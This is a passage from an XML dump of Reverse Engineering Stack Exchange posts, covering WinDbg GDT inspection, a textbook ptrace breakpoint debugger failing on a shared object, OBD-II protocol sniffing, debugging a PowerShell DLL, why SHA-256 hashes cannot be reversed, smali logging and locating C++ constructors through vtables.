&#xA;                                  P Si Gr Pr Lo&#xA;Sel    Base     Limit     Type    l ze an es ng Flags&#xA;---- -------- -------- ---------- - -- -- -- -- --------&#xA;001B 00000000 ffffffff Code RE Ac 3 Bg Pg P  Nl 00000cfb&#xA;&#xA;kd&amp;gt; dg @fs &amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;------- kernel&#xA;                                  P Si Gr Pr Lo&#xA;Sel    Base     Limit     Type    l ze an es ng Flags&#xA;---- -------- -------- ---------- - -- -- -- -- --------&#xA;0030 82f6dc00 00003748 Data RW Ac 0 Bg By P  Nl 00000493&#xA;&#xA;0:000&amp;gt; dg @fs&#xA;                                  P Si Gr Pr Lo&#xA;Sel    Base     Limit     Type    l ze an es ng Flags&#xA;---- -------- -------- ---------- - -- -- -- -- --------&#xA;003B 7ffdf000 00000fff Data RW Ac 3 Bg By P  Nl 000004f3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;you can glean sufficient information about gdt from&lt;br&gt;&#xA;  &lt;a href=&quot;http://wiki.osdev.org/Global_Descriptor_Table&quot; rel=&quot;noreferrer&quot;&gt;osdevwiki_gdt&lt;/a&gt;&lt;br&gt;&#xA;  &lt;a href=&quot;http://www.rcollins.org/ddj/Aug98/Aug98.html&quot; rel=&quot;noreferrer&quot;&gt;robert-collins_ddj_article&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;to do that manually im using livekd here&lt;/p&gt;&#xA;&#xA;&lt;p&gt;using windbg you can get the Descriptor and Task Gate Registers&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;kd&amp;gt; rM 100&#xA;gdtr=80b95000   gdtl=03ff idtr=80b95400   idtl=07ff tr=0028  ldtr=0000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;each gdtr entry is 64 bits so you can have 7f gdtr entries as you can see gdtl is 3ff 0x80*0x08-1 = 0x400-1 = 0x3ff (index starts from 0 not 1)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so gdtr entry @1,@2 are @gdtr+(0x1*0x8) @gdtr+(0x2*0x08=0x10) and so on&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;kd&amp;gt; dq @gdtr+8 l1    gdtr@1 = gdtr+0n1*0x8 =0n8  = 0x8    &#xA;80b95008  00cf9b00`0000ffff = gdtr+0n6*0x8 =0n48 = 0x30    &#xA;kd&amp;gt; dq @gdtr+30 l1   &#xA;80b95030  824093f6`dc003748   &#xA;kd&amp;gt; dq @gdtr+38 l1   &#xA;80b95038  7f40f3fd`e0000fff   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;lets bit game the last two gdtr entries manually   &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-------------------------------------------------------------------------------------------&#xA;gdtrentry        [63:     [55:  [51:  [47:          [39:                  [15:             &#xA;                  56]      52]   48]   40]           16]                    0]             &#xA;                 base     gdrs  L     p d  t     Base     Base             Limit           &#xA;                 Hi       rb0y  h     r l  y     Mid      Low                              &#xA;-------------------------------------------------------------------------------------------&#xA;bit position     66665555 5555  5544  4 44 44444 33333333 3322222222221111 1111110000000000&#xA;                 32109876 5432  1098  7 65 43210 98765432 1098765432109876 5432109876543210&#xA;-------------------------------------------------------------------------------------------&#xA;824093f6dc003748 10000010 0100  0000  1 00 10011 11110110 1101110000000000 0011011101001000&#xA;as hex           0x82     0100  0     1 0  0x13  0xF6     0xDC00           0x3748          &#xA;--------------------------------------- ---------------------------------------------------&#xA;7f40f3fde0000fff 01111111 0100  0000  1 11 10011 11111101 1110000000000000 0000111111111111&#xA;as hex           0x7F     0100  0     1 3  0x13  0xFD     0xE000           0x0FFF          &#xA;-------------------------------------------------------------------------------------------&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2017-06-13T19:13:46.130" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15546" PostTypeId="1" AcceptedAnswerId="15618" CreationDate="2017-06-13T20:27:34.250" Score="2" ViewCount="1968" Body="&lt;p&gt;I'm using updated Kali and compiling this for 64- bit&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Working through Learning Linux Binary Analysis,'simple ptrace-based debugger' on page 57.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Source code and testfile to debug included.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Problem is accessing the return value of lookup_symbol from the shared object file 'test'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regarding the given program:&#xA;The only thing I've changed is the error check that checks for ET_EXEC, I changed it to ET_DYN so that I can try to trace shared object files, which seem unavoidable when I import stdio.h for the print function. Also, changed the part that checks for ELF files, used use: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;h.mem[0] != 0x7f || strcmp((char *)&amp;amp;h.mem&lt;a href=&quot;http://refspecs.linuxbase.org/elf/elf.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;1&lt;/a&gt;, &quot;ELF&quot;&#xA;  But I don't think the second part is necessary, and my computer spits out an error unless I use &quot;ELF\002\001\001&quot; in the strcmp. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The work of the parent program is done in the lookup_symbol function which searches for the symbol name in the string table and returns the symbol table st_value (the virtual address) of the desired symbol.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From &lt;a href=&quot;http://refspecs.linuxbase.org/elf/elf.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;TIS ELF Specification &lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;In executable and shared object files, st_value holds a virtual&#xA;  address. To make these files' symbols more useful for the dynamic&#xA;  linker, the section offset (file interpretation) gives way to a&#xA;  virtual address (memory interpretation) for which the section number&#xA;  is irrelevant.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;To search for &lt;strong&gt;print_string&lt;/strong&gt; in 'test':&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;./tracer ./test print_string&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The goal is to break at each print_string call and print the registers at that point, then any key can be pressed to continue execution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When running the source code the lookup_symbol function returns 0x6b0 on my comp for the value of symtab-&gt;st_value and assigns it to h.symaddr.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;0x6b0 is the virtual address (value of) of print_string in the symbol table, confirmed by checking readelf &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;58: 00000000000006b0    27 FUNC    GLOBAL DEFAULT   14 print_string&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The original from the book uses 0x6b0 directly in the following function:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;if ((orig = ptrace(PTRACE_PEEKTEXT, pid, h.symaddr, NULL)) &amp;lt; 0)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This function fails with an error on my computer when it attempts to use h.symaddr=0x6b0:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Beginning analysis of pid: 2462 at 6b0&#xA;PTRACE_PEEKER: Input/output error&#xA;hello 1&#xA;hello 2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem is not that it's a virtual address being returned, because as quoted above, both executables and shared object files contain virtual addresses in symbol_table-&gt;st_value. I'm not sure why but there is a difference in how this ptracing parent program treats shared objects and executables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the test file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;&#xA;void print_string(char * str)&#xA;{&#xA;    printf(&quot;%s\n&quot;, str); &#xA;}&#xA;&#xA;int main(int argc, char ** argv)&#xA;{&#xA;    print_string(&quot;hello 1&quot;);&#xA;    print_string(&quot;hello 2&quot;);&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is the source file:    &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;string.h&amp;gt;&#xA;#include &amp;lt;stdlib.h&amp;gt;&#xA;#include &amp;lt;unistd.h&amp;gt;&#xA;#include &amp;lt;fcntl.h&amp;gt;&#xA;#include &amp;lt;errno.h&amp;gt;&#xA;#include &amp;lt;signal.h&amp;gt;&#xA;#include &amp;lt;elf.h&amp;gt;&#xA;#include &amp;lt;sys/types.h&amp;gt;&#xA;#include &amp;lt;sys/user.h&amp;gt;&#xA;#include &amp;lt;sys/stat.h&amp;gt;&#xA;#include &amp;lt;sys/ptrace.h&amp;gt;&#xA;#include &amp;lt;sys/mman.h&amp;gt;&#xA;#include &amp;lt;sys/wait.h&amp;gt;&#xA;&#xA;&#xA;&#xA;&#xA;typedef struct handle&#xA;{&#xA;    Elf64_Ehdr *ehdr;&#xA;    Elf64_Phdr *phdr;&#xA;    Elf64_Shdr *shdr;&#xA;    uint8_t *mem;&#xA;    char *symname;&#xA;    Elf64_Addr symaddr;&#xA;    struct user_regs_struct pt_reg;&#xA;    char *exec;&#xA;} handle_t;&#xA;&#xA;Elf64_Addr lookup_symbol(handle_t *, const char *);&#xA;&#xA;&#xA;&#xA;int main(int argc, char **argv, char **envp)&#xA;{&#xA;&#xA;    int fd;&#xA;    handle_t h;&#xA;    struct stat st;&#xA;    long trap, orig;&#xA;    int status, pid;&#xA;    char * args[2]; &#xA;&#xA;    if (argc &amp;lt; 3)&#xA;    {&#xA;        printf(&quot;Usage: %s &amp;lt;program&amp;gt; &amp;lt;function&amp;gt;\n&quot;, argv[0]);&#xA;        exit(0);&#xA;    }&#xA;&#xA;&#xA;    if ((h.exec = strdup(argv[1])) == NULL)&#xA;    {&#xA;        perror(&quot;strdup&quot;); exit(-1);&#xA;    }&#xA;&#xA;    args[0] = h.exec;&#xA;&#xA;    args[1] = NULL;&#xA;&#xA;    if ((h.symname = strdup(argv[2])) == NULL)&#xA;    {&#xA;        perror(&quot;strdup&quot;);&#xA;        exit(-1);&#xA;    }&#xA;&#xA;    if ((fd = open(argv[1], O_RDONLY)) &amp;lt; 0)&#xA;    {&#xA;        perror(&quot;open&quot;);&#xA;        exit(-1);&#xA;    }&#xA;&#xA;    if (fstat(fd, &amp;amp;st) &amp;lt; 0) &#xA;    {&#xA;        perror(&quot;fstat&quot;);&#xA;        exit(-1);&#xA;    }&#xA;&#xA;    h.mem = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, fd, 0);&#xA;&#xA;    if (h.mem == MAP_FAILED)&#xA;    {&#xA;        perror(&quot;mmap&quot;);&#xA;        exit(-1);&#xA;    }&#xA;&#xA;&#xA;    h.ehdr = (Elf64_Ehdr *)h.mem;&#xA;&#xA;    h.phdr = (Elf64_Phdr *)(h.mem + h.ehdr-&amp;gt;e_phoff);&#xA;&#xA;    h.shdr = (Elf64_Shdr *)(h.mem + h.ehdr-&amp;gt;e_shoff);&#xA;&#xA;    if (h.mem[0] != 0x7f)&#xA;    {&#xA;        printf(&quot;%s is not an ELF file\n&quot;, h.exec);&#xA;        exit(-1);&#xA;    }&#xA;&#xA;    if (h.ehdr-&amp;gt;e_type != ET_DYN)&#xA;    {&#xA;        printf(&quot;%s is not an ELF dynamic\n&quot;, h.exec);&#xA;        exit(-1);&#xA;    }&#xA;&#xA;    if (h.ehdr-&amp;gt;e_shstrndx == 0 || h.ehdr-&amp;gt;e_shoff == 0 || h.ehdr-&amp;gt;e_shnum == 0)&#xA;    {&#xA;        printf(&quot;Section header table not found\n&quot;);&#xA;        exit(-1);&#xA;    }&#xA;&#xA;    if ((h.symaddr = lookup_symbol(&amp;amp;h, h.symname)) == 0)&#xA;    {&#xA;        printf(&quot;Unable to find symbol: %s not found in executable\n&quot;, h.symname);&#xA;        exit(-1);&#xA;    }&#xA;&#xA;    close(fd);  &#xA;&#xA;    if ((pid = fork()) &amp;lt; 0)&#xA;    {&#xA;        perror(&quot;fork&quot;);&#xA;        exit(-1);&#xA;    }&#xA;&#xA;    if (pid == 0)&#xA;    {&#xA;&#xA;        if (ptrace(PTRACE_TRACEME, pid, NULL, NULL) &amp;lt; 0)&#xA;        {&#xA;            perror(&quot;PTRACE_TRACEME&quot;);&#xA;            exit(-1);&#xA;        }&#xA;&#xA;        execve(h.exec, args, envp);&#xA;        exit(0);&#xA;    }&#xA;&#xA;    wait(&amp;amp;status);&#xA;    printf(&quot;Beginning analysis of pid: %d at %lx\n&quot;, pid, h.symaddr);&#xA;&#xA;&#xA;    if ((orig = ptrace(PTRACE_PEEKTEXT, pid, h.symaddr, NULL)) &amp;lt; 0)&#xA;    {&#xA;        perror(&quot;PTRACE_PEEKER&quot;);&#xA;        exit(-1);&#xA;    }&#xA;    trap = (orig &amp;amp; ~0xff | 0xcc);&#xA;&#xA;&#xA;    printf(&quot;Made it here&quot;);&#xA;&#xA;&#xA;    if (ptrace(PTRACE_POKETEXT, pid, h.symaddr, trap) &amp;lt; 0)&#xA;    {&#xA;        perror(&quot;PTRACE_POKETEXT&quot;);&#xA;        exit(-1);&#xA;    }&#xA;trace:&#xA;&#xA;    if (ptrace(PTRACE_CONT, pid, NULL, NULL) &amp;lt; 0)&#xA;    {&#xA;        perror(&quot;PTRACE_CONT&quot;);&#xA;        exit(-1);&#xA;    }&#xA;    wait(&amp;amp;status);&#xA;&#xA;&#xA;    if (WIFSTOPPED(status) &amp;amp;&amp;amp; WSTOPSIG(status) == SIGTRAP)&#xA;    {&#xA;        if (ptrace(PTRACE_GETREGS, pid, NULL, &amp;amp;h.pt_reg) &amp;lt; 0)&#xA;        {&#xA;            perror(&quot;PTRACE_GETREGS&quot;);&#xA;            exit(-1);&#xA;        }&#xA;&#xA;        printf(&quot;\nExecutable %s (pid: %d) has hit breakpoint 0x%lx\n&quot;, h.exec, pid, h.symaddr);&#xA;&#xA;    printf(&quot;%%rcx: %llx\n%%rdx: %llx\n%%rbx: %llx\n&quot; &#xA;                &quot;%%rax: %llx\n%%rdi: %llx\n%%rsi: %llx\n&quot; &#xA;                &quot;%%r8: %llx\n%%r9: %llx\n%%r10: %llx\n%%&quot; &#xA;                &quot;%%r11: %llx\n%%r12: %llx\n%%r13: %llx\n%%&quot; &#xA;                &quot;%%r14: %llx\n%%r15: %llx\n%%rsp: %llx\n%%&quot;);&#xA;    printf(&quot;\nHit any key to continue: &quot;);&#xA;    getchar();&#xA;    if (ptrace(PTRACE_POKETEXT, pid, h.symaddr, orig) &amp;lt; 0)&#xA;    {&#xA;        perror(&quot;PTRACE_POKETEXT&quot;);&#xA;        exit(-1);&#xA;    }&#xA;&#xA;    h.pt_reg.rip = h.pt_reg.rip - 1;&#xA;    if (ptrace(PTRACE_SETREGS, pid, NULL, &amp;amp;h.pt_reg) &amp;lt; 0)&#xA;    {&#xA;        perror(&quot;PTRACE_SETREGS&quot;);&#xA;        exit(-1);&#xA;    }&#xA;&#xA;    if (ptrace(PTRACE_SINGLESTEP, pid, NULL, NULL) &amp;lt; 0)&#xA;    {&#xA;        perror(&quot;PTRACE_SINGLESTEP&quot;);&#xA;        exit(-1);&#xA;    }&#xA;    wait(NULL);&#xA;&#xA;    if (ptrace(PTRACE_POKETEXT, pid, h.symaddr, trap) &amp;lt; 0)&#xA;    {&#xA;        perror(&quot;PTRACE_POKETEXT&quot;);&#xA;        exit(-1);&#xA;    }&#xA;&#xA;    goto trace;&#xA;    }&#xA;&#xA;    if (WIFEXITED(status)) &#xA;        printf(&quot;Completed tracing pid: %d\n&quot;, pid);&#xA;&#xA;    exit(0);&#xA;}&#xA;&#xA;&#xA;&#xA;&#xA;    Elf64_Addr lookup_symbol(handle_t *h, const char *symname)&#xA;    {&#xA;        int i, j;&#xA;        char *strtab;&#xA;        Elf64_Sym *symtab;&#xA;        for (i = 0; i &amp;lt; h-&amp;gt;ehdr-&amp;gt;e_shnum; i++)      &#xA;        {&#xA;            if (h-&amp;gt;shdr[i].sh_type == SHT_SYMTAB)   &#xA;            {&#xA;                strtab = (char *)&amp;amp;h-&amp;gt;mem[h-&amp;gt;shdr[h-&amp;gt;shdr[i].sh_link].sh_offset];&#xA;&#xA;                symtab = (Elf64_Sym *)&amp;amp;h-&amp;gt;mem[h-&amp;gt;shdr[i].sh_offset];&#xA;&#xA;&#xA;                for (j = 0; j &amp;lt; h-&amp;gt;shdr[i].sh_size/sizeof(Elf64_Sym); j++)&#xA;                {&#xA;                    if (strcmp(&amp;amp;strtab[symtab-&amp;gt;st_name], symname) == 0)&#xA;                        //printf(&quot;symtab-&amp;gt;st_value is 0x%lx\n&quot;, symtab-&amp;gt;st_value);  &#xA;                        return (symtab-&amp;gt;st_value);&#xA;                    symtab++;&#xA;                }&#xA;            }&#xA;        }&#xA;        return 0;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="20126" LastEditorUserId="20126" LastEditDate="2017-06-21T16:34:30.793" LastActivityDate="2022-12-28T06:32:36.560" Title="ptrace TRACE_PEEKER: Input/output error accessing virtual address contents when traced file is a shared object file" Tags="|elf|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15550" PostTypeId="1" CreationDate="2017-06-14T08:29:53.870" Score="0" ViewCount="1520" Body="&lt;p&gt;Newbie here. I'm working on an OBD II scanner and have made a hardware using STM32. It uses its inbuilt peripherals to communicate with the OBD bus (like CAN, K-Line, etc).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Question: Are there any projects where one has reverse engineered an OBD II scanner to know what it is sending over the bus. I need to know what it is doing during initialization and PID requests so that I can improve my self-made system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Similar question asked in Motor Vehicle Maintenance and Repair:&lt;a href=&quot;https://mechanics.stackexchange.com/questions/39093/how-to-reverse-engineer-the-manufacturer-specific-protocol-on-obd2-for-acquiring&quot;&gt; [Link]&lt;/a&gt; But there were no answers.&lt;/p&gt;&#xA;" OwnerUserId="20542" LastActivityDate="2019-08-20T20:13:51.260" Title="OBD II scanner reverse engineering" Tags="|firmware|hardware|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15551" PostTypeId="1" AcceptedAnswerId="15564" CreationDate="2017-06-14T11:18:04.633" Score="1" ViewCount="1516" Body="&lt;p&gt;I have given a .ps1 file which loads a .dll via:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Import-Module &quot;.\decrypter.dll&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After that, a call to that module is performed by:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;get-decrypt(&quot; *Some Base64 Encoded string* &quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Only the .dll is given. The Dependency Walker returns no exported functions. IDA Pro Free shows only one module&#xA;My question:&#xA;How do I debug this .dll file?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Kindly regards&lt;/p&gt;&#xA;" OwnerUserId="20544" LastActivityDate="2022-07-21T14:29:39.377" Title="Debug a .dll file within powershell" Tags="|debugging|dll|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15552" PostTypeId="1" AcceptedAnswerId="15553" CreationDate="2017-06-14T15:35:39.987" Score="2" ViewCount="5106" Body="&lt;p&gt;The title seems little crazy, but I think that it is possible. Just think about it. If you create text file like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Hello world!&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You get this checksum:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0ba904eae8773b70c75333db4de2f3ac45a8ad4ddba1b242f0b3cfc199391dd8&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But if you change any letter like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Hallo world!&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You get this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bf1adae4567d9fb6b3bfb30cbf4dfdd2503e89a831cf3472c399b39fb9c73289&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That means, that if I change any letter I always get another checksum, so there must be any way to get source file back.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is: Is there any way to get source file back without creating all possible combinations and checking checksum?&lt;/p&gt;&#xA;" OwnerUserId="20549" LastEditorUserId="2147" LastEditDate="2017-06-14T15:52:28.827" LastActivityDate="2017-06-19T17:55:25.960" Title="How to get file back from generated sha256 checksum?" Tags="|encryption|hash-functions|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15553" PostTypeId="2" ParentId="15552" CreationDate="2017-06-14T15:40:56.907" Score="5" Body="&lt;p&gt;This is actually one of the main attributes of &lt;a href=&quot;https://en.wikipedia.org/wiki/Cryptographic_hash_function&quot; rel=&quot;nofollow noreferrer&quot;&gt;Cryptographic Hash Functions&lt;/a&gt;. As mentioned in the wiki page, they are designed so they cannot be reversed:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;It is infeasible to generate a message from its hash value except by trying all possible messages&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Additionally, the property which dictates a small change in the &lt;em&gt;message&lt;/em&gt; will result in a completely different output value is also a requirement of cryptographic hashes:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;a small change to a message should change the hash value so extensively that the new hash value appears uncorrelated with the old hash value&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The only ways to actually achieve that is by trying all possibilities (which is intentionally impossible with today's computing power) or finding a weakness in the hashing mechanism.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nowadays, &lt;a href=&quot;https://en.wikipedia.org/wiki/MD5&quot; rel=&quot;nofollow noreferrer&quot;&gt;MD5&lt;/a&gt; and &lt;a href=&quot;https://en.wikipedia.org/wiki/SHA-1&quot; rel=&quot;nofollow noreferrer&quot;&gt;SHA1&lt;/a&gt; are considered &lt;strong&gt;broken&lt;/strong&gt; because of such weaknesses (see &lt;a href=&quot;https://en.wikipedia.org/wiki/MD5#Security&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; and &lt;a href=&quot;https://en.wikipedia.org/wiki/SHA-1#Cryptanalysis_and_validation&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; respectively)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are, however, caches or &lt;em&gt;common strings&lt;/em&gt; and their different hash values and some of the message values can be found online. &lt;a href=&quot;https://crackstation.net/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://crackstation.net/&lt;/a&gt; is such a repository of many hash functions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, the hash &lt;code&gt;0ba904eae8773b70c75333db4de2f3ac45a8ad4ddba1b242f0b3cfc199391dd8&lt;/code&gt; you gave as an example can be found &lt;a href=&quot;https://github.com/whitslack/btctool&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="2147" LastEditDate="2017-06-14T15:50:53.413" LastActivityDate="2017-06-14T15:50:53.413" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15554" PostTypeId="2" ParentId="15550" CreationDate="2017-06-14T22:13:34.543" Score="1" Body="&lt;p&gt;&quot;OBD II&quot; could mean a multitude of protocols. Can you be more specific with the ISO protocol you are using? For a lot of applications the material is available and that is always easier than reverse engineering which can then be focused. If manufacturer specific, please name the vehicle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have used a simple Y connector to snoop CAN bus comms. I have disassembled engine control unit code to understand and modify manufacturer specific comms.&lt;/p&gt;&#xA;" OwnerUserId="19027" LastActivityDate="2017-06-14T22:13:34.543" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15555" PostTypeId="1" CreationDate="2017-06-14T23:06:26.833" Score="2" ViewCount="4796" Body="&lt;p&gt;I have been trying to reverse engineer an Android application and was wondering how I would go about logging a certain string.  Here is the method I am trying to log the String from:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.method private getValue(Ljava/lang/String;)[B&#xA;.locals 2&#xA;.param p1, &quot;parameter&quot;    # Ljava/lang/String;&#xA;&#xA;.prologue&#xA;.line 216&#xA;new-instance v0, Ljava/lang/StringBuilder;&#xA;&#xA;invoke-direct {v0}, Ljava/lang/StringBuilder;-&amp;gt;&amp;lt;init&amp;gt;()V&#xA;&#xA;iget-object v1, p0, Lcom/directory/theseSettings;-&amp;gt;newSettings:Lcom/directory/NewSettings;&#xA;&#xA;iget-object v1, v1, Lcom/directory/NewSettings;-&amp;gt;newValue:Ljava/lang/String;&#xA;&#xA;invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;-&amp;gt;append(Ljava/lang/String;)Ljava/lang/StringBuilder;&#xA;&#xA;move-result-object v0&#xA;&#xA;invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;-&amp;gt;append(Ljava/lang/String;)Ljava/lang/StringBuilder;&#xA;&#xA;move-result-object v0&#xA;&#xA;invoke-virtual {v0}, Ljava/lang/StringBuilder;-&amp;gt;toString()Ljava/lang/String;&#xA;&#xA;move-result-object v0&#xA;&#xA;const-string v1, &quot;UTF-8&quot;&#xA;&#xA;invoke-static {v0, v1}, Lorg/apache/http/util/EncodingUtils;-&amp;gt;getBytes(Ljava/lang/String;Ljava/lang/String;)[B&#xA;&#xA;move-result-object v0&#xA;&#xA;return-object v0&#xA;.end method&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For reference, here is that method again when decompiled with jadx.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;private byte[] getValue(String parameter) {&#xA;    return EncodingUtils.getBytes(this.newSettings.newValue + parameter, &quot;UTF-8&quot;);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I was hoping to log “this.newSettings.newValue” as seen in the jadx method, and I’m guessing it would be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;iget-object v1, v1, Lcom/directory/NewSettings;-&amp;gt;newValue:Ljava/lang/String;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the smali.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only problem is I don’t know how to log it, I am able to log “parameter” by using&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;const-string v0, “PARAMETER:” &#xA;invoke-static {v0, p1}, Landroid/util/Log;-&amp;gt;e(Ljava/lang/String;Ljava/lang/String;)I &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I’m not sure how to go about it if its referenced within the method, rather than being &quot;passed&quot; to it.&lt;/p&gt;&#xA;" OwnerUserId="20553" LastActivityDate="2017-06-15T04:17:58.950" Title="How do I Log a String Referenced within a Method - Smali" Tags="|android|java|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15556" PostTypeId="2" ParentId="15457" CreationDate="2017-06-15T03:28:37.250" Score="4" Body="&lt;p&gt;I have dabbled in this a little bit in the past, and one way to find the constructor is to try and find the Virtual Function Table for this object (VTable).&lt;br&gt;&lt;br&gt; Note that not all classes have virtual functions, and so not all classes have virtual tables.&lt;br&gt;&lt;br&gt;&#xA;Generally the pointer to the VTable is the first value in the objects memory e.g.&#xA;Object_base_address+0x00&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More information on vtables is here &lt;br&gt;&lt;a href=&quot;https://stackoverflow.com/questions/3554909/what-is-vtable-in-c&quot;&gt;https://stackoverflow.com/questions/3554909/what-is-vtable-in-c&lt;/a&gt;&#xA;&lt;br&gt;and here &lt;br&gt;&#xA;&lt;a href=&quot;https://alschwalm.com/blog/static/2016/12/17/reversing-c-virtual-functions/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://alschwalm.com/blog/static/2016/12/17/reversing-c-virtual-functions/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other way is to explore what compilers do when they generate code for constructors by writing your own code and reverse engineering that.&lt;br&gt;&#xA;This better understanding can then be applied to your larger program in your search for the specific function. It is important to note that code generation varies from compiler to compiler.&lt;br&gt;&#xA;For this method you can use &lt;a href=&quot;https://godbolt.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://godbolt.org/&lt;/a&gt; which lets you compile straight to assembly code and explore it.&lt;br&gt;&lt;br&gt;&#xA;If you need more information feel free to ask.&lt;/p&gt;&#xA;" OwnerUserId="19064" LastEditorUserId="19064" LastEditDate="2017-06-15T03:39:35.027" LastActivityDate="2017-06-15T03:39:35.027" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
